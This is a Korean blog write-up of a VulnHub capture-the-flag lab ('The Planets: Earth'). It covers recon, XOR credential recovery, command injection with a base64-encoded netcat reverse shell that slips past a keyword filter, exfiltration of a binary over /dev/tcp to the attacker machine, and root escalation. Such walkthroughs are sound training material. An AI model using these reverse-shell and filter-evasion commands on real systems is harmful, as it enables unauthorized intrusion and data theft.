이 영역을 누르면 첫 페이지로 이동
우당탕탕 보안이야기 블로그의 첫 페이지로 이동

우당탕탕 보안이야기

페이지 맨 위로 올라가기

우당탕탕 보안이야기

- 모의 해킹 - 취약점 분석/진단 - AWS

[6] Earth리눅스 취약점 분석 및 모의해킹(w. vulnhub)

  • 2022.08.27 23:40
  • Red Team/Penetration Testing & CTF
반응형

- 2022.08.27 -

 

해당 블로그의 내용에는 실제로 해킹을 하는 과정이 언급되어 있습니다.

모의 해킹의 환경은 100% 사용자가 통제가 가능한 상황에서 실습을 진행하였으며

불법적인 해킹이 아닌 모의 해킹으로써 해킹의 목적이 오롯이 교육의 성격에 초점이 맞추어져 있습니다

본 과정을 악용하여 사용하는 2차 피해에 대해서는 행위자가 법적 책임을 질 수 있으며

일어나는 모든 피해에 대해서는 책임지지 않습니다.

 


구축 환경

가상 시스템 - 역할 - 운영기반

KALI - Attacker-Debian GNU

Earth - Victim - Fedora Linux

 

 

IP 목록

Host - IP Address

KALI - 192.168.20.128

Earth - 192.126.20.133

 

 

시나리오 내용

Vulnhub에서 ova이미지를 내려받아 취약점 분석후 페이지 계정, 리눅스 계정 획득하고 내부 flag 열어보기 - CTF

user_flag.txt 와 root_flag.txt. 이렇게 두개의 flag파일 열기

 


실습 시작

vulnhub logo

취약점 분석 및 모의해킹을 할 수 있는 가상환경 파일을(*.ova) 제공하는 사이트인 vulnhub에서 파일을 하나 다운 받았다.

vulnhub 바로가기 클릭!

 

The Planets : Earth

사이트의 첫번째에 있는 The Planets : Earth를 다운 받았다.

난이도는 Easy(쉬움)으로 여러가지가 있으니 쉬운것부터 하나씩 골라보면서 하면 좋을 것같다.

개인적으로 저건 쉬움난이도 보다는 내 기준에는 미디움 난이도가 더 맞지 않나 싶었다.

 

Earth.ova

다운받은 earth.ova 파일을 VMware에서 실행시켰다.

열어보면 위 사진처럼 적은 정보만 확인 할 수 있는데 Fedora 리눅스라는 것 외에는 알 수 있는것이 상당히 제한되어 있다.

 

nmap scan

nmap을 이용해 스캔을 해보았다. 옵션은 -n을 주었고 같은 가상망이라는 특징으로 192.168.20.0/24으로 192.168.20.*대의 모든 IP를 스캔해 보았다.

 

결과로 5개의 호스트를 찾을 수 있었다. 먼저 가장 처음은 제외하고 두번째 호스트인 20.2대 레포트를 확인해보면

열려있는 포트가 53번 포트 하나 뿐이다. 53번 포트는 도메인포트.. 그러니까 DNS서버 호스트 이다.

4번째는 20.254는 게이트웨이 5번째 20.128은 칼리의 IP주소 이다.

 

그렇다면 가운대 20.133을 보니 열려 있는게 22,80,443 포트 이다. 보통 일반적인 호스트로 보이는데 조금 더 심층 스캔을 해보자

sudo nmap -n 192.168.20.0/24

 

nmap -sV -sC

의심되는 해당 IP인 192.168.20.133을 옵션 -sV -sC를 주어 다시 깊게 스캔해보았다.

결과 적으로 설치되어진 서버정보들을 알 수 있었다. (Apache2.4.51)

80번포트로 접속시 http title로 Bad Request가

443포트로 접속시 Test page for the HTTP server on Fedora 를 출력한다.

그 밑줄에는 DNS를 사용하고 있는 것으로 보인다.

sudo nmap -sV -sC 192.168.20.133

 

Bad Request 443

외부에서 접속 해보았다. 192.168.20.133:433. 이러면 Test page for ### 가 나와야 하는데 나오지 않는다.

왜일까? 아마 포트는 443으로 접속했지만 주소 앞에 http로 입력해서 자동으로 80번으로 이동되었을 수 있다.

그래서 80번포트에서 보이는 bad request가 떴을지도..

 

 

dns추가

nano 명령어를 이용해 hosts에 위에서 얻어낸 dns를 입력해서 넣어준다.

sudo nano /etc/hosts

 

정보 추가

IP - DNS - DNS2

순서로 입력한다.

nano저장하는 방법은 ctrl+O 를 누르고 엔터. 그리고 ctrl+X를 누르면 저장 후 나오게 된다 :)

 

192.168.20.133 earth.local terratest.earth.local

// 저장 방법
// ctrl + O
// Enter
// ctrl + X

 

earth.local

브라우저에서 dns이름인 earth.local로 접속을 시도한다.

시도 결과 페이지 창이 출력되는 것을 확인 할 수 있다. :)

 

디렉토리 검사

earth.loacl에 대해 dirb검사를 시작해보았다. 기존에는 나오지 않았던 /admin/ 하위폴더가 나왔다.

sudo dirb http://earth.local/

 

install gobuster

더 깊게 탐색을 하기 위해 dirb보다 gobuster명령어를 쓰기로 했다.

gobuster는 웹 서버의 디렉토리와 파일들 까지 모두 스캔할 수 있고 DNS부속 서버도 같이 빠르게 스캔 할 수 있는 툴이다.

일단 칼리에서 gobuster(고버스터)가 설치되어있지 않으니 패키지를 먼저 인스톨한다.

 

sudo apt install gobuster

 

gobuster로 스캔 시작

명령어를 이용해  -u 옵션과 -w옵션을 추가해 스캔을 시작한다.

그 결과 스캔 url에 대해 하위 파일인 /robots.txt파일을 확인했다.

gobuster dir -u https://terratest.earth.local/ -k -w /usr/share/wordlist/dirb/common.txt

 

testingnotes

위 URL로 들어간 뒤 주소창뒤에 robots.txt를 입력하면 저장된 여러 하위목록들을 볼 수 있는데 그 중 가장 밑에 있는 testingnote.*를 확인하고 주소창에 robots.txt를 지우고 testingnotes.txt를 입력해보았다.

https://terratest.earth.local/robots.txt

 

testingnotes.txt

해당 텍스트를 입력해 열어보았다.

username은 terra라는 사실도 알 수 있었고 testdata.txt를 이용해 암호화했다고 알려 주는 것을 보아 해당 파일이 

암호화와 복호화에 필요한 Key값이라는 것을 짐작할 수 있다.

https://terratest.earth.local/testingnotes.txt

이제 여기에서 testdata.txt로 다시 바꾸어 열어보자!

 

 

testdata.txt

testdata.txt로 입력해 열어보았다.

문장들이 나와 있는 것을 알 수 있다.

이 문장을 복사해두자! :)

https://terratest.earth.local/testdata.txt

 

 

earth.local

새 창을 열고 earth.local로 들어와 하단으로 내리면 특정 코드가 3~4줄이 적혀 있다.

가장 아래줄을 복사해서 따로 메모장에 기록해두자 :)

 

 

복호화

XOR된 값을 복호화해야한다.

다행히 요즘에는 복호화까지 자동으로 해주는 사이트가 존재한다.

사이트 이름은 Cyberchef (사이버셰프) 이동은 여기로!

들어가면 form hex -> XOR순서로 끌어다 놓는다.

XOR의 Key값에는 testdata.txt에서 복사 해둔 문장을 키로 넣는다.

그리고 파랑색 네모박스의 Input에는 earth.local 페이지에서 하단에 복사해둔 구문을 붙여 넣는다.

그럼 곧 바로 해독되어 Output으로 그 결과를 확인 할 수 있다.

 

ouitput

비밀번호가 도출되었다.

비밀번호 : earthclimatechangebad4humans

그리고 위의 testingnotes.txt에서 확인 했던 계정 이름인 terra까지..

이렇게 계정 ID와 비밀번호 모두 획득하는데 성공했다.

 

로그인 아이디 : terra

패스워드 : earthclimatechangebad4humans

 

위에서 8번째 사진에서 가져옴.

이제 조금전에 dirb로 admin페이지를 확인했었는데 관리자 페이지로 접속해 로그인을 시도해 볼 것이다.

 

earth.local/admin

 

해당 사이트로 접속하면 login을 할 수 있는 창이 뜬다.

 

Log In

조금전 획득한 아이디와 패스워드를 이용해 로그인을 완료한다.

 

CLI command

옆의 로그아웃을 보니 로그인이 완료된 모습이다.

CLI Command 툴을 이용해 간단한 명령어를 수행해 보자.

 

whoami

커맨드 라인에 whoami를 입력하니 출력값으로 apache가 나왔다.

위에서 스캔을 통해 확인했던 서버인 apache서버가 나온것이다.

 

 

 

원격접속

OS Command Injection을 실행해보기 위해 칼리에서 4444번 포트를 열고 대기하고 

CLI Command라인에 접속 명령어를 입력해 보았다.

 

//KALI
nc -lvnp 4444

//Earth Linux
ne -e /bin/bash 192.168.20.128 4444

답은 Romote connections are forbidden.

원격접속이 불가능하다는 메세지가 나왔다.

 

user flag.txt

다르게 시도해봐야겠다.

cat 명령어를 이용해 userflag.txt을 열어 출력해본다.

CTF의 문제는 두가지였는데 user_flag와 root_flag를 찾는것

그 두개중 하나인 user_flag.txt는 찾았다.

cat /var/earth_web/user_flag.txt

 

 

KALI

칼리로 돌아와 echo 명령어로 원격접속에 대한 명령문을 base64로 인코딩한다.

echo 'ne -e /bin/bash 192.168.20.128 4444' | base64

특정 문자열 입력에 대해 방어해 둔 것 같기에 base 64인코딩을 이용해 명령문 자체를 인코딩한다.

base64 인코딩 출력 문자열 : bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMjAuMTI4IDQ0NDQK

 

base64란?

바이너리 데이터를 문자 코드에 영향을 받지 않는 공통 ASCII 문자로 표현하기 위해 만들어진 인코딩이다.

ASCII 문자 하나가 64진법의 숫자 하나를 의미하기 때문에 base64라는 이름을 가졌다.

 

해서 실제로 위 출력된 문자열을 abse64 디코더에 입력하면 위 명령어가 그대로 출력될 것이다.

디코더 사이트는 여기로!

 

Decode from base64

 

CLI Command Tool

플레인 텍스트로는 거부되었던 명령이 base64로 인코딩하여 넣어보니 접속이 되었다.

 

echo 'bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMjAuMTI4IDQ0NDQK' | base64 -d | bash

 

명령어로 진행

파이썬 명령어를 이용하여 터미널을 제공받고

파인드 명령어를 통해 불필요한 출력을 제한한다.

여러 경로들을 보니 /usr/bin/ 에 reset_root가 있는것을 확인 했다.

file명령어를 이용해 reset_root를 열어보고 루트 비밀번호가 있는것을 확인 하여 reset_root 명령어를 입력했으나

RESET FAILED 결과를 받았다.

 

우선 위 두개의 명령줄에 대한 설명을 조금 붙여본다.

python -c 'import pty;pty.spawn("/bin/bash")'

위 명령어는 pty 라이브러리에서 제공하는 상호작용이 가능한 터미널을 제공한다. 당연 vi 에디터도 사용이 가능하다.

즉, 서로 다른 다른 버전의 운영체제(칼리는 데비안, 어스는 페도라)이라서 이 상호작용이 가능한 터미널을 pty라이브러리로 부터 제공받아서 사용하는 것이다.

 

find  / -perm -u=s 2>/dev/null

다음은 find 명령어 이다. 이중 뒷 부분의 2>/dev/null 에 주목해야하는데  /dev/null은 trash can. 그러니까 휴지통정도로 생각하면 편하다. 2>/dev/null/은 에러스트림을 /dev/null/로 리다이렉션 하는 것이다. 즉 에러 스트림(에러메세지)를 휴지통으로 버리는 것인데 이렇게 설정하면 root권한이 아니여서 퍼미션 거부나 에러등에 대한 메세지를 출력하지 않도록 하는 것이다.

1) /dev/null

2) 1>/dev/null

3) 2>/dev/null

1번과 2번은 결과 메세지를 정상적으로 출력하고 3번은 출력하지 않는다.

사진 설명

python -c 'import pty;pty.spawn("/bin/bash")'
find  / -perm -u=s 2>/dev/null
file /usr/bin/reset_root
reset_root

 

333포트 대기

새로운 터미널을 열고 명령어를 이용해 reset_root를 전송받을 것이다. 3333포트를 열고 대기한다.

nc -lvnp 3333 > reset_root

 

 

어스에서 칼리로 내보내기

Earth에서 KALI로 reset_root파일을 3333번 포트를 이용해 내보낸다.

cat /usr/bin/reset_root > /dev/tcp/192.168.20.128/3333

 

 

연결됨

20.133에서 20.128로 연결되었음을 확인할 수 있다

nc -lvnp 3333 > reset_root

kali ls

칼리에서 ls를 입력하면 20.133에서 전송한 reset_root파일이 있는 것을 확인했다.

이제 이 파일의 실행 권한을 추가 한다.

ls
sudo chmod +x reset_root
// x는 executable의 뜻으로 실행을 의미함

// r은 read의 읽기
// w는 write의 쓰기
// x는 excutable의 실행

 

LTRACE install

이어서 경로를 추적하기 위해 LTRACE를 설치한다

대문자로 적은 이유는 l과I가 입력에 착오를 줄 수 있기 때문이다..

명령어를 적을때에는 소문자이다.

 

ltrace는 라이브러리 함수를 추적하는 도구로  strace와 유사하다. 동적라이브러리만 추적하므로 파악하기는 쉽지만, 문제의 원인을 찾기가 어려운 단점이 있다.

sudo apt install ltrace

 

 

reset_root

그리고 엘트레이스를 이용해 해당 파일을 실행한다.

결과값으로 나오는 네모박스는 따로 남겨두자

ltrace ./reset_root

 

 

 

touch 명령어

조금 생소한 touch 명령어이다.

touch명령어는 파일의 생성과 파일의 날짜, 시간을 변경하는 명령어 이다. 옵션 없이 사용할 경우 서버의 현재 시간으로 변경한다.

 

touch명령어를 이용해 저 위 경로에 있는 파일을 터치한다.

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

 

 

reset_root

루트를 리셋한다. 

그 결과 RESTTING ROOT PASSWORD TO : EARTH

으로 초기화 된 루트 비밀번호가 EARTH인것을 확인했다.

 

그 다음 su root를 통해 관리자 계정으로 접속한다.

관리자 계정 : root

관리자 비밀번호 : Earth

 

reset_root
su root
Earth

 

VM Ware에서 접속 시도

vm ware에서 EARTH에 대해 접속을 시도한다.

위에서 알아낸 root / Earth 시도 결과 접속에 성공한 것을 확인 했다.

 

root flag

다시 칼리로 돌아가서 위 명령어들을 입력해 root_flag가 있는 곳을 찾아 경로를 옮겨간다.

최종적으로 /root 경로에 root_flag.txt가 있는 것을 확인했다.

ls
cd /root
ls

 

지구본 세레모니

cat명령어로 루트플래그를 열어 본다.

결과는 지구본 모양이 나오면서 최종 성공을 축하하는 멘트가 담겨있다.

 

cat root_flag.txt

 


마  치  며

진행은 생각보다 빠르게 되었는데 

정확하게 하나하나 다 이해하고 공부하는데 시간이 더걸린 것 같다 ㅋㅋㅋ

덕분에 명령어에 어떤뜻이 있는지 좀 더 세부적으로 이해할 수 있었고

늘 반복되던 같은 명령어에서 벗어나 다양성을 배웠으며

소규모의 작은 프로젝트 덕에 모의해킹만을 위한 사이트가 있다는 사실도 알았다.

실습을 했고 깨달은게 있으니 더 학습하고 숙달할 수 있게 계속 학습해야 할 것 같다

다만 실습과정중 이해가 덜 되어진 부분이 있었다.

특히 이부분은 왜 이걸 했지? 이게 굳이 필요했을까? 하는 과정이 있었는데

다시 재 실습을 하면 조금씩 글이 수정될 것같다 :)

아! 해킹에 큰 도움을 준 스터디 동기 넘 고마오

반응형
저작자표시 비영리 동일조건 (새창열림)

'Red Team > Penetration Testing & CTF' 카테고리의 다른 글

[8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹  (0) 2022.09.05
[7] CTF:Breakout user,rOOt 텍스트 모의해킹  (0) 2022.09.01
[5] docker에 대한 무작위대입공격 모의해킹  (2) 2022.08.22
[4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹  (0) 2022.08.19
[3] Nessus를 활용한 Metasploitable2에 대한 samba취약점 해킹  (0) 2022.08.19

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹

    [8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹

    2022.09.05
  • [7] CTF:Breakout user,rOOt 텍스트 모의해킹

    [7] CTF:Breakout user,rOOt 텍스트 모의해킹

    2022.09.01
  • [5] docker에 대한 무작위대입공격 모의해킹

    [5] docker에 대한 무작위대입공격 모의해킹

    2022.08.22
  • [4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹

    [4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹

    2022.08.19
다른 글 더 둘러보기

정보

우당탕탕 보안이야기 블로그의 첫 페이지로 이동

우당탕탕 보안이야기

  • 우당탕탕 보안이야기의 첫 페이지로 이동

검색

메뉴

  • 홈

카테고리

  • 분류 전체보기 (66)
    • Whoami (1)
    • Malicious Code (9)
      • Analysis (5)
      • Review (4)
      • Recent Trend (0)
    • Digital Forensic (1)
    • Red Team (28)
      • Penetration Testing & CTF (13)
      • Tools (6)
      • 정보보안 (5)
      • Script (0)
      • AOS (4)
      • IOS (0)
    • Data Base (0)
    • Cloud System (3)
      • AWS (3)
    • OS (9)
      • Linux X (3)
      • Windows X (6)
    • Develope (14)
      • Dev Tools (3)
      • HTML (5)
      • CSS (4)
      • Python (1)
      • Source Code 분석 (1)
    • Synology (1)
      • NAS 서버 운영 (0)
      • NAS 서버 구축 (1)

정보

Wolfcall의 우당탕탕 보안이야기

우당탕탕 보안이야기

Wolfcall

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Daum. © Wolfcall. Designed by Fraccino.

티스토리툴바